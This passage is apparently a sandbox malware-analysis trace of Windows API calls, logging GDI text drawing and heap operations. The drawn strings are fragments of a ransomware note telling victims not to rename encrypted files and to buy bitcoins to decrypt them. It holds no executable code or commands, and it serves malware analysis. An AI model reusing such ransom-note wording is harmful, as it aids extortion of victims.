[0111.267] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.267] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.267] _CIsqrt () returned 0x3f1a027f
[0111.267] _CIsqrt () returned 0x3f1a027f
[0111.267] _CIatan2 () returned 0x20
[0111.267] _CIatan2 () returned 0x20
[0111.267] ExtTextOutA (hdc=0x90101e7, x=46, y=149, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.267] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.267] LsDestroyLine () returned 0x0
[0111.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.268] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.268] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb310 | out: hHeap=0x450000) returned 1
[0111.268] LsSetDoc () returned 0x0
[0111.268] LsCreateLine () returned 0x0
[0111.268] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.269] LsDisplayLine () returned 0x0
[0111.269] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.269] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.269] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.269] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.269] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.269] _CIatan2 () returned 0x20
[0111.269] _CIatan2 () returned 0x20
[0111.269] ExtTextOutW (hdc=0x90101e7, x=62, y=149, options=0x4, lprect=0x1c8498, lpString="Do not rename encrypted files tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1d, lpDx=0x1c84d0) returned 1
[0111.269] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.269] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.269] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.269] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.269] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.270] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.270] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.270] _CIatan2 () returned 0x20
[0111.270] _CIatan2 () returned 0x20
[0111.270] ExtTextOutW (hdc=0x90101e7, x=260, y=149, options=0x4, lprect=0x1c8498, lpString=" tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.270] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.270] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.270] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.270] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.270] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.270] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.270] _CIatan2 () returned 0x20
[0111.270] _CIatan2 () returned 0x20
[0111.270] ExtTextOutW (hdc=0x90101e7, x=265, y=149, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.270] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.270] LsDestroyLine () returned 0x0
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.270] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.270] LsDestroyContext () returned 0x0
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1068 | out: hHeap=0x450000) returned 1
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509c80 | out: hHeap=0x450000) returned 1
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0111.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013c8 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493620 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503ee8 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501418 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013f0 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501440 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501468 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e3f38 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd970 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd980 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd990 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd9a0 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503788 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4340 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4410 | out: hHeap=0x450000) returned 1
[0111.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e49b0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e45a8 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4748 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4818 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497fd8 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500948 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509608 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5006f0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] IntersectRect (in: lprcDst=0x1c9514, lprcSrc1=0x1c9514, lprcSrc2=0x1c9424 | out: lprcDst=0x1c9514) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9534 | out: lprcDst=0x4967b8) returned 1
[0111.272] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9554 | out: lprcDst=0x4967b8) returned 1
[0111.272] IntersectRect (in: lprcDst=0x1c9054, lprcSrc1=0x1c9054, lprcSrc2=0x1c8f08 | out: lprcDst=0x1c9054) returned 1
[0111.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.272] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9054 | out: lprcDst=0x4967b8) returned 1
[0111.272] IntersectRect (in: lprcDst=0x1c8fb8, lprcSrc1=0x1c8fb8, lprcSrc2=0x4967c8 | out: lprcDst=0x1c8fb8) returned 1
[0111.273] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c8f6c | out: lprcDst=0x4967b8) returned 1
[0111.273] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.273] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.273] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.273] LsSetDoc () returned 0x0
[0111.273] LsCreateLine () returned 0x0
[0111.273] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.273] LsDisplayLine () returned 0x0
[0111.273] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x18a002e
[0111.273] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.273] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.273] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.273] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.273] _CIatan2 () returned 0x20
[0111.273] _CIatan2 () returned 0x20
[0111.274] ExtTextOutW (hdc=0x90101e7, x=32, y=121, options=0x4, lprect=0x1c8160, lpString="Attention!ame encrypted files tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0xa, lpDx=0x1c8198) returned 1
[0111.274] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.274] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.274] LsDestroyLine () returned 0x0
[0111.274] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.274] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0111.274] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.274] BitBlt (hdc=0x1401007f, x=0, y=602, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0111.274] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0111.274] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0111.274] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0111.274] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.274] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0111.274] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0111.274] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.274] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.274] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0x1404020f
[0111.274] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.274] SelectClipRgn (hdc=0x90101e7, hrgn=0x1404020f) returned 2
[0111.274] DeleteObject (ho=0x1404020f) returned 1
[0111.274] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0111.274] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=8, rop=0xf00021) returned 1
[0111.274] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0111.274] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0111.275] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0111.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0111.275] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0111.275] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0111.275] GetStockObject (i=8) returned 0x1b00016
[0111.275] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.275] GetROP2 (hdc=0x90101e7) returned 13
[0111.275] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.275] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=9) returned 1
[0111.275] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.275] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.275] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0111.275] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0111.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.275] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0111.275] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0111.276] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0111.276] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.276] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.276] LsGetRubyLsimethods () returned 0x0
[0111.276] LsGetTatenakayokoLsimethods () returned 0x0
[0111.276] LsGetHihLsimethods () returned 0x0
[0111.276] LsGetWarichuLsimethods () returned 0x0
[0111.276] LsGetReverseLsimethods () returned 0x0
[0111.276] LsCreateContext () returned 0x0
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x509608
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4e1068
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x509c80
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501468
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501440
[0111.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x48b598
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503ee8
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013f0
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501418
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013c8
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x4e3f38
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd9a0
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd990
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd980
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd970
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x493620
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x503788
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4954a0
[0111.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x500948
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4340
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4410
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497fd8
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x4e45a8
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4748
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4818
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0111.278] LsSetModWidthPairs () returned 0x0
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x4e49b0
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0111.278] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.278] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503f30
[0111.278] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.278] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.279] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.279] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.279] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503f30, Size=0x60) returned 0x49f1f8
[0111.279] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.279] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.279] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49f1f8, Size=0x90) returned 0x48b640
[0111.279] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.279] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.279] IsRectEmpty (lprc=0x48b650) returned 0
[0111.279] IsRectEmpty (lprc=0x48b660) returned 0
[0111.280] IsRectEmpty (lprc=0x48b670) returned 0
[0111.280] IsRectEmpty (lprc=0x48b680) returned 0
[0111.280] IsRectEmpty (lprc=0x48b690) returned 0
[0111.280] IsRectEmpty (lprc=0x48b6a0) returned 0
[0111.280] IsRectEmpty (lprc=0x48b6b0) returned 0
[0111.280] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0111.280] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0111.280] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0111.280] SelectObject (hdc=0x90101e7, h=0x81001d5) returned 0x1900010
[0111.280] GetStockObject (i=8) returned 0x1b00016
[0111.280] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.280] GetROP2 (hdc=0x90101e7) returned 13
[0111.280] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.280] Rectangle (hdc=0x90101e7, left=12, top=0, right=1296, bottom=9) returned 1
[0111.280] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.280] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.280] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x81001d5
[0111.280] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.280] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0x1504020f
[0111.280] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.280] SelectClipRgn (hdc=0x90101e7, hrgn=0x1504020f) returned 2
[0111.280] DeleteObject (ho=0x1504020f) returned 1
[0111.280] _CIsqrt () returned 0x3f1a027f
[0111.280] _CIsqrt () returned 0x3f1a027f
[0111.280] _CIatan2 () returned 0x20
[0111.280] _CIatan2 () returned 0x20
[0111.280] GetStockObject (i=8) returned 0x1b00016
[0111.280] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.280] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0111.280] SelectObject (hdc=0x90101e7, h=0x51001d9) returned 0x1900010
[0111.280] UnrealizeObject (h=0x51001d9) returned 1
[0111.280] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-740, lppt=0x0 | out: lppt=0x0) returned 1
[0111.280] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.280] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.281] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.281] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.281] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0111.281] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51001d9
[0111.281] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.281] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.281] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.281] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.282] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.282] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.282] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.282] IsRectEmpty (lprc=0x1c8af4) returned 0
